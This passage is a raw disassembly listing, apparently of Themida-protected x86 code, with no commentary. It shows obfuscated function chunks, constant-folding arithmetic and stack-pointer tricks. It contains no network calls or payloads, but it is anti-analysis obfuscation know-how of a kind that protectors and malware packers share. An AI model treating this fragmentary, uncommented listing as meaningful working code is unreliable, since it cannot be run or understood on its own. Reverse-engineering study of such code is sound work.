; END OF FUNCTION CHUNK FOR sub_5999A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A055B: ; CODE XREF: sub_59390B+1036Aj
sub esi, 5BFF4A4Fh
add esi, ecx
jmp loc_59C098
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594D13
loc_5A0568: ; CODE XREF: sub_594D13+C599j
push edi
sub esp, 4
jmp loc_59551F
; END OF FUNCTION CHUNK FOR sub_594D13
; ---------------------------------------------------------------------------
loc_5A0574: ; CODE XREF: Themida_:00591DF7j
xchg ecx, [esp]
pop esp
xor di, cx
jmp loc_59C6EF
; ---------------------------------------------------------------------------
loc_5A0580: ; CODE XREF: Themida_:005A0DF4j
add esp, 4
add dword ptr [esp], 35B45DA8h
add [esp], eax
sub dword ptr [esp], 35B45DA8h
jmp loc_591E54
; =============== S U B R O U T I N E =======================================
sub_5A059C proc near ; CODE XREF: sub_59390B+83ACj
push ebx
push ebp
push 1B741609h
pop ebp
or ebp, 2CF03B3Ah
shr ebp, 3
xor ebp, 3DB897C9h
mov ebx, ebp
pop ebp
push ebp
jmp sub_59BBA6
sub_5A059C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A05BC: ; CODE XREF: sub_59390B+11736j
sub esi, edx
add esi, 40BA7780h
pop edx
xchg esi, [esp-0Ch+arg_4]
pop esp
mov [esp-10h+arg_8], esi
mov esi, ebx
push esi
pop ecx
mov esi, [esp-10h+arg_8]
jmp loc_59ADF4
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A05D8: ; CODE XREF: Themida_:00597F4Fj
pop edi
xor edi, esi
push dword ptr [esp]
pop esi
add esp, 4
inc edi
jmp loc_5968BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A05E8: ; CODE XREF: sub_59390B+3C3Cj
add esi, 4
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp-0Ch+arg_4]
pop esp
jmp loc_59AE6F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A0606: ; CODE XREF: Themida_:00598828j
add eax, 0B890A45h
sub ebx, 74FB111Bh
add ebx, eax
push edi
mov edi, 4A1036C1h
neg edi
push esi
mov esi, 40F4B824h
sub edi, esi
mov esi, [esp]
add esp, 4
add ebx, edi
pop edi
mov eax, [esp]
add esp, 4
push edx
push ebp
mov ebp, 63972C6Dh
mov edx, ebp
pop ebp
jmp loc_5A2EDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D02F
loc_5A0641: ; CODE XREF: sub_59D02F-420Bj
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+10h+var_10]
pop esp
jmp loc_59D108
; END OF FUNCTION CHUNK FOR sub_59D02F
; ---------------------------------------------------------------------------
loc_5A0659: ; CODE XREF: Themida_:00598A2Cj
push eax
jmp loc_59C569
; ---------------------------------------------------------------------------
loc_5A065F: ; CODE XREF: Themida_:0059B683j
push esi
mov esi, 6FDE1436h
shl esi, 4
jmp loc_59F12C
; ---------------------------------------------------------------------------
loc_5A066D: ; CODE XREF: Themida_:0059E44Aj
push ebp
jmp loc_59AD09
; ---------------------------------------------------------------------------
loc_5A0673: ; CODE XREF: Themida_:005A47E4j
mov edi, 4
add eax, edi
pop edi
add eax, 2
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
mov ax, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
jmp loc_593008
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_5A069F: ; CODE XREF: sub_599AE1+90E6j
xchg ebx, edx
jmp loc_593657
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59BCC8
loc_5A06A6: ; CODE XREF: sub_59BCC8+14j
pop ebp
sub ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop [esp+4+var_4]
pop esp
mov [esp-4+arg_0], edx
mov edx, esp
add edx, 4
push edi
mov edi, 4
jmp loc_5939F9
; END OF FUNCTION CHUNK FOR sub_59BCC8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_5A06CA: ; CODE XREF: sub_59CAFB-207Fj
mov ebx, eax
push 4220h
mov [esp+10h+var_10], ebp
jmp loc_593669
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_5A06D9: ; CODE XREF: sub_59A4D6-3193j
add esp, 4
pop [esp+0Ch+var_C]
mov esp, [esp+8+var_8]
or edx, eax
shl edx, 1
push 3B92h
jmp loc_595644
; END OF FUNCTION CHUNK FOR sub_59A4D6
; ---------------------------------------------------------------------------
loc_5A06F0: ; CODE XREF: Themida_:0059AE09j
xor edi, esi
mov esi, [esp]
add esp, 4
push ebp
mov ebp, 1D4B7BC3h
xor ebp, 7D7B3A47h
jmp loc_597505
; ---------------------------------------------------------------------------
loc_5A070C: ; CODE XREF: Themida_:00598F3Fj
mov ecx, 40942B4h
sub [esp+8], ecx
pop ecx
jmp loc_59E204
; ---------------------------------------------------------------------------
loc_5A071B: ; CODE XREF: Themida_:005A44B7j
add esp, 4
jmp loc_59E2D9
; ---------------------------------------------------------------------------
loc_5A0723: ; CODE XREF: Themida_:005A022Aj
mov [esp], ecx
mov cl, 0D3h
dec cl
xchg bl, cl
not bl
jmp loc_59700A
; =============== S U B R O U T I N E =======================================
sub_5A0733 proc near ; CODE XREF: sub_59C623+11FAj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005958DB SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00598C56 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00599AD3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059A450 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059AC48 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B2DE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059C02B SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0059C191 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059C73E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059CD67 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A02E7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A04D8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A0B4F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A1505 SIZE 0000001A BYTES
sub esp, 4
mov [esp+4+var_4], ecx
jmp loc_59C191
sub_5A0733 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_5A073E: ; CODE XREF: sub_59CFD4-7FA9j
mov esp, [esp+0Ch+var_C]
or eax, eax
jz loc_596E09
push dword ptr [edi+1Ch]
jmp loc_59A7E5
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A0751: ; CODE XREF: sub_59390B-27D2j
neg edx
add edx, 5C26479Fh
add ebx, edx
pop edx
mov ecx, [esp+4+var_4]
add esp, 4
pop esi
push 56F3h
mov [esp+0], esi
mov esi, 38BD3736h
add ebx, esi
pop esi
sub ebx, eax
sub ebx, 38BD3736h
push edx
mov edx, 20101D75h
add ebx, edx
pop edx
jmp loc_5A0D7F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
lodsd
push ecx
mov ecx, 34D26FF6h
shl ecx, 3
xchg esi, ecx
not esi
xchg esi, ecx
push 18C3h
jmp loc_59501B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A07A3: ; CODE XREF: sub_59390B+323Aj
xor ecx, 749A2E8Ch
add ecx, 7EEB42BFh
xor eax, ecx
pop ecx
xor ebp, eax
pop eax
mov esi, [esp+0]
add esp, 4
xchg ebx, ebp
jmp loc_5A02CA
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F8C2
loc_5A07C2: ; CODE XREF: sub_59F8C2-ECF8j
pop esp
push eax
mov eax, esp
push ebp
mov ebp, 7961DD6h
push ebx
jmp loc_59FE63
; END OF FUNCTION CHUNK FOR sub_59F8C2
; ---------------------------------------------------------------------------
loc_5A07D2: ; CODE XREF: Themida_:0059C3A3j
add eax, 4
jmp loc_596FC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3536
loc_5A07DC: ; CODE XREF: sub_5A3536+189Aj
push ecx
mov ecx, 5445144Dh
xor ecx, 7B7A008Ah
dec ecx
sub ecx, 1A59643Ch
neg ecx
or ecx, 6B1B6FFCh
add ecx, 0D751E2F2h
mov edx, ecx
pop ecx
add ebx, edx
pop edx
shr ebx, 6
shl ebx, 7
xor ebx, 3D06AA02h
sub edx, 55600189h
add edx, ebx
add edx, 55600189h
pop ebx
xor edx, [esp+8+var_8]
xor [esp+8+var_8], edx
xor edx, [esp+8+var_8]
jmp loc_597B04
; END OF FUNCTION CHUNK FOR sub_5A3536
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push 6764h
mov [esp], edx
jmp loc_59BB8B
; ---------------------------------------------------------------------------
loc_5A0845: ; CODE XREF: Themida_:005A1F33j
mov ebp, 16250673h
xor ebp, 4CC104E5h
push ecx
mov ecx, 1CD917B0h
or ebp, ecx
jmp loc_59DB5C
; =============== S U B R O U T I N E =======================================
sub_5A085D proc near ; DATA XREF: Themida_:00590A3Co
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_6 = dword ptr -6
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 005916A1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005928F6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00595552 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00595B14 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005964E0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00599670 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059EBA9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059EE14 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005A2D41 SIZE 0000000D BYTES
lodsb
sub al, 0E9h
add al, bl
push ecx
mov ch, 43h
sub ch, 20h
jmp loc_5928F6
sub_5A085D endp
; ---------------------------------------------------------------------------
loc_5A086D: ; CODE XREF: Themida_:0059B591j
mov [esp], eax
jmp loc_598493
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A0875: ; CODE XREF: sub_59390B+4CA7j
pop ecx
jmp loc_5A0C76
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F294
loc_5A087B: ; CODE XREF: sub_59F294-11FBj
mov [esp+0], ebx
jmp loc_5A1B15
; END OF FUNCTION CHUNK FOR sub_59F294
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A12B1
loc_5A0883: ; CODE XREF: sub_5A12B1+Dj
pop esi
jmp sub_591FE1
; END OF FUNCTION CHUNK FOR sub_5A12B1
; ---------------------------------------------------------------------------
loc_5A0889: ; CODE XREF: Themida_:0059C1BFj
mov esp, [esp]
bt [esp], ax
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A0897: ; CODE XREF: sub_59390B-1553j
push esp
mov esi, [esp-16h+arg_C+2]
add esp, 4
add esi, 4
push edx
jmp loc_5A5036
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595949
loc_5A08AD: ; CODE XREF: sub_595949+4223j
pop ecx
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+8+var_8]
pop esp
push [esp+4+var_4]
push [esp+8+var_8]
pop ebx
push ecx
mov ecx, esp
jmp sub_59D29C
; END OF FUNCTION CHUNK FOR sub_595949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59886E
loc_5A08D0: ; CODE XREF: sub_59886E+AC5Fj
add eax, ebx
pop ebx
sub eax, ebp
jmp loc_5A1BC9
; END OF FUNCTION CHUNK FOR sub_59886E
; ---------------------------------------------------------------------------
loc_5A08DA: ; CODE XREF: Themida_:0059B4FDj
pop ebx
push edi
push 12F6h
mov [esp], edx
push 0F17C43h
jmp loc_59EB0B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_5A08EE: ; CODE XREF: sub_59CAFB+5275j
add ebp, 4
push 4E5Ch
mov [esp+0Ch+var_C], esi
sub esp, 4
mov [esp+10h+var_10], edx
mov edx, 42C72487h
mov esi, 0BD38DB7Dh
jmp loc_59D265
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A0914: ; CODE XREF: sub_59390B+5CD6j
xor eax, [esp+0]
mov esp, [esp+0]
bts [esp+0], ax
pushf
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594D13
loc_5A0925: ; CODE XREF: sub_594D13+5174j
mov [esp+4+var_4], eax
push ebp
jmp loc_59537B
; END OF FUNCTION CHUNK FOR sub_594D13
; ---------------------------------------------------------------------------
loc_5A092E: ; CODE XREF: Themida_:0059D7D1j
mov [esp], edi
jmp loc_59B536
; ---------------------------------------------------------------------------
loc_5A0936: ; CODE XREF: Themida_:00595C16j
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_59EDB0
; ---------------------------------------------------------------------------
mov ax, [esp]
push 29E4h
mov [esp], ebx
push esp
push dword ptr [esp]
push dword ptr [esp]
pop ebx
push ebp
push esp
pop ebp
push edx
mov edx, 4
add ebp, edx
pop edx
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5A3292
; ---------------------------------------------------------------------------
loc_5A0979: ; CODE XREF: Themida_:00591547j
mov ah, 57h
not ah
sub ah, 0D0h
xor dl, ah
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
add al, 4Dh
sub al, 0EFh
sub al, dl
add al, 0EFh
sub al, 4Dh
pop edx
push edx
push cx
mov ch, 39h
push eax
mov ah, ch
mov dh, ah
jmp loc_59E750
; ---------------------------------------------------------------------------
loc_5A09B2: ; CODE XREF: Themida_:0059B63Cj
push ebx
push esp
push dword ptr [esp]
jmp loc_59DAC7
; =============== S U B R O U T I N E =======================================
sub_5A09BC proc near ; CODE XREF: sub_592E1C+2A62j
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 005955EF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00598CAB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059AB38 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B5F7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059FCA2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A24DE SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A29B0 SIZE 0000000D BYTES
push ebp
jmp loc_5A29B0
sub_5A09BC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5A09C2: ; CODE XREF: Themida_:00597EB2j
or edi, 7BA00C01h
sub edi, 8AB39602h
jmp loc_5A0E85
; ---------------------------------------------------------------------------
db 89h
; ---------------------------------------------------------------------------
and al, 24h
add dword ptr [esp], 4
pop ebx
push ecx
mov ecx, 4
jmp loc_5A1835
; ---------------------------------------------------------------------------
loc_5A09E6: ; CODE XREF: Themida_:0059F3FCj
pop ecx
add [esp+8], eax
pop eax
push dword ptr [esp]
pop ecx
add esp, 4
pop edx
push ebp
jmp loc_594C73
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A09FD: ; CODE XREF: sub_59390B+6CCBj
mov [esp+0], eax
mov eax, 78146437h
jmp loc_59400F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_597198
loc_5A0A0A: ; CODE XREF: sub_597198-66F9j
mov [esp+4+var_4], edi
push esp
push [esp+8+var_8]
pop edi
jmp sub_59390B
; END OF FUNCTION CHUNK FOR sub_597198
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0BFE
loc_5A0A17: ; CODE XREF: sub_5A0BFE-8E13j
mov [esp-0Ch+arg_8], edx
mov edx, 1
sub ebp, edx
jmp loc_591125
; END OF FUNCTION CHUNK FOR sub_5A0BFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_5A0A26: ; CODE XREF: sub_59FD45-8DABj
mov ebx, 20h
jmp loc_59BC23
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
loc_5A0A30: ; CODE XREF: Themida_:005A3483j
push esp
jmp loc_593ADD
; ---------------------------------------------------------------------------
loc_5A0A36: ; CODE XREF: Themida_:005960CDj
sub edx, 0A3428953h
add esi, edx
pop edx
sub esi, 4
xchg esi, [esp]
jmp loc_5A31BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_5A0A4A: ; CODE XREF: sub_59CFD4-33E3j
push ecx
push edi
mov edi, 54A925ABh
xor edi, 5F8871A5h
shr edi, 4
not edi
sub edi, 9BCFC287h
mov ecx, edi
mov edi, [esp+14h+var_14]
add esp, 4
push edi
mov edi, 4F0A74A1h
shl edi, 2
shr edi, 5
jmp loc_5A108B
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A0A7E: ; CODE XREF: sub_59390B+9A6Aj
add eax, 6ECA5173h
mov ecx, [esp-8+arg_0]
add esp, 4
push ebx
mov ebx, 3EDC7341h
add eax, ebx
pop ebx
jmp loc_59AC41
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592586
loc_5A0A97: ; CODE XREF: sub_592586+F031j
mov [esp-4+arg_0], eax
push 6038h
mov [esp+0], ecx
push edi
mov edi, 66053763h
add edi, 69277307h
shl edi, 7
xor edi, 631D4EFAh
and edi, 329D48ACh
shl edi, 5
xor edi, 617F126Dh
mov ecx, edi
pop edi
add ecx, 10931F0Ah
xor [esp+arg_0], ecx
mov ecx, [esp+0]
jmp loc_596761
; END OF FUNCTION CHUNK FOR sub_592586
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_5A0ADB: ; CODE XREF: sub_591FC5+104C0j
neg ah
jmp loc_5A463D
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A0AE2: ; CODE XREF: sub_59390B+8DF4j
pop ecx
or eax, 1AE26959h
jmp loc_59B65D
; ---------------------------------------------------------------------------
loc_5A0AED: ; CODE XREF: sub_59390B+B2B9j
pop edi
and edx, ebx
pop ebx
shr edx, 1
jmp loc_5A5416
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_59D32E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A0B07: ; CODE XREF: sub_59390B-166Ej
xor ecx, ebx
jmp loc_5A2097
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A0B0E: ; CODE XREF: Themida_:0059BC79j
add esi, edi
sub esi, 51C16F87h
pop edi
push ecx
jmp loc_5A0BC4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F4E7
loc_5A0B1D: ; CODE XREF: sub_59F4E7-405Dj
pop esp
jmp loc_5999B2
; END OF FUNCTION CHUNK FOR sub_59F4E7
; ---------------------------------------------------------------------------
db 66h
dd 68240C8Bh, 0B68h, 83243489h, 0BAE904ECh
db 65h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A958
loc_5A0B37: ; CODE XREF: sub_59A958+74B3j
pop ebp
push 7B9Ch
mov [esp+0], esi
push dword ptr [esp+0]
mov edi, [esp+4+var_4]
push ebx
push esp
pop ebx
push eax
jmp loc_59E2B8
; END OF FUNCTION CHUNK FOR sub_59A958
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0733
loc_5A0B4F: ; CODE XREF: sub_5A0733-3FEEj
pop eax
add edi, 26C61C16h
sub eax, edi
pop edi
mov ebp, [esp+0Ch+var_C]
add esp, 4
jmp loc_598C56
; END OF FUNCTION CHUNK FOR sub_5A0733
; ---------------------------------------------------------------------------
loc_5A0B64: ; CODE XREF: Themida_:0059F9DBj
mov [esp], eax
push esi
mov esi, 10B341F0h
jmp loc_59DB16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A113A
loc_5A0B72: ; CODE XREF: sub_5A113A-28CDj
push 4F07h
mov [esp+1Ch+var_1C], esi
mov esi, 4
add edx, esi
jmp loc_59FAB3
; END OF FUNCTION CHUNK FOR sub_5A113A
; ---------------------------------------------------------------------------
loc_5A0B86: ; CODE XREF: Themida_:005968A5j
mov [esp], edi
mov edi, 3150290h
not edi
and edi, 726B6290h
neg edi
shl edi, 5
sub edi, 9B81FA00h
sub ecx, edi
mov edi, [esp]
add esp, 4
push ebp
mov ebp, 4ABB31FEh
sub ebp, 7ED02B3Eh
shr ebp, 1
xor ebp, 4369E5F2h
and ecx, ebp
jmp loc_59859C
; ---------------------------------------------------------------------------
loc_5A0BC4: ; CODE XREF: Themida_:005A0B18j
push ebx
mov ebx, 4
push ebx
pop ecx
jmp loc_5A1E59
; ---------------------------------------------------------------------------
loc_5A0BD1: ; CODE XREF: Themida_:00595C10j
or ecx, eax
pop eax
push ecx
jmp loc_5A2078
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59B019
loc_5A0BDA: ; CODE XREF: sub_59B019-5BDBj
pop esp
add esp, 4
push edx
mov edx, 2
add ebx, edx
pop edx
push ebx
push [esp-4+arg_4]
mov ebx, [esp+0]
jmp loc_593BB4
; END OF FUNCTION CHUNK FOR sub_59B019
; ---------------------------------------------------------------------------
loc_5A0BF4: ; CODE XREF: Themida_:005A5A31j
mov ecx, 7BE50B68h
jmp loc_592983
; =============== S U B R O U T I N E =======================================
sub_5A0BFE proc near ; CODE XREF: sub_5A0733-AE31j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 00590EB7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591125 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591CF4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005971B9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00597DC8 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005994D1 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059968D SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059A6CB SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0059D8EA SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059F8F0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A0A17 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A19E0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A4233 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005A4A3D SIZE 0000000B BYTES
push ebp
mov ebp, 2AFD6B59h
inc ebp
shl ebp, 5
push edi
mov edi, 41390908h
xor ebp, edi
pop edi
shl ebp, 8
add ebp, 35EF3A83h
push ecx
jmp loc_59A6CB
sub_5A0BFE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A0C20: ; CODE XREF: sub_59390B+753Ej
pop edi
jmp loc_59A38C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_5A0C26: ; CODE XREF: sub_59FCCB-1172j
sub bh, 0F6h
xor bh, 95h
add bh, 0A0h
mov ch, 0AFh
xor ch, bh
pop ebx
add bl, ch
pop cx
push cx
jmp loc_594AB6
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
loc_5A0C3F: ; CODE XREF: Themida_:0059BEADj
xor bl, 79h
mov dl, bl
pop ebx
jmp loc_5A3D82
; ---------------------------------------------------------------------------
loc_5A0C4A: ; CODE XREF: Themida_:005954CFj
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_590AA4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A0C62: ; CODE XREF: sub_59390B+182j
mov esi, esp
push edi
mov edi, 4
jmp loc_599E2A
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A0C6F: ; CODE XREF: Themida_:005A1425j
mov ecx, edx
jmp loc_591540
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A0C76: ; CODE XREF: sub_59390B+CF6Bj
pop ebx
push [esp-10h+arg_8]
push [esp-0Ch+arg_4]
pop edx
add esp, 4
sub esp, 4
mov [esp-0Ch+arg_4], ebp
push esp
jmp loc_59CB2C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_5A0C93: ; CODE XREF: sub_595BAD+8AA9j
mov ebx, edi
push [esp-4+arg_0]
pop edi
add esp, 4
add [esp-8+arg_8], 39880D71h
jmp loc_590E1F
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A0CA9: ; CODE XREF: sub_59390B+F1C4j
push [esp-8+arg_4]
pop edx
pop [esp-8+arg_0]
pop esp
jmp loc_59CAA8
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A0CB7: ; CODE XREF: Themida_:005A4BACj
sub edx, 24966B1Bh
jmp loc_5A4CB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59667F
loc_5A0CC2: ; CODE XREF: sub_59667F+C07Ej
mov ch, bl
jmp loc_59C385
; END OF FUNCTION CHUNK FOR sub_59667F
; ---------------------------------------------------------------------------
loc_5A0CC9: ; CODE XREF: Themida_:005954BCj
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_59456C
; ---------------------------------------------------------------------------
loc_5A0CE1: ; CODE XREF: Themida_:0059636Bj
pop dword ptr [esp]
xchg ecx, edx
not ecx
xchg ecx, edx
push 5D98h
mov [esp], edx
push dword ptr [esp+4]
mov edx, [esp]
push ebx
mov ebx, esp
push edi
mov edi, 22A04D43h
neg edi
xor edi, 3F020ECDh
dec edi
add edi, 1DA24395h
jmp loc_59D3D9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591745
loc_5A0D16: ; CODE XREF: sub_591745+872j
add esp, 4
shr eax, 10h
xor eax, ecx
xor eax, esi
xor esi, eax
xor eax, esi
jmp loc_59D239
; END OF FUNCTION CHUNK FOR sub_591745
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A0D29: ; CODE XREF: sub_59390B+FDEDj
mov [esp-10h+arg_8], eax
push edi
push eax
push ebp
push 6E643985h
pop ebp
neg ebp
xor ebp, 0D6BCCC7Ch
mov eax, ebp
pop ebp
mov edi, eax
pop eax
neg edi
add edi, 1
shl edi, 7
not edi
or edi, 6F822015h
jmp loc_59B3A7
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_5A0D58 proc near ; CODE XREF: sub_59390B+45E5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00597584 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00597770 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059C266 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059EC2E SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0059F581 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059F79B SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A15BC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A3C43 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005A5731 SIZE 00000019 BYTES
push ebp
mov ebp, 5017518Ah
push ebp
push 6A7904CAh
pop ebp
jmp loc_5A3C43
sub_5A0D58 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A0D6A: ; CODE XREF: sub_59390B+7BE2j
push edx
mov edx, esp
add edx, 4
jmp loc_5957A3
; END OF FUNCTION CHUNK FOR sub_59390B
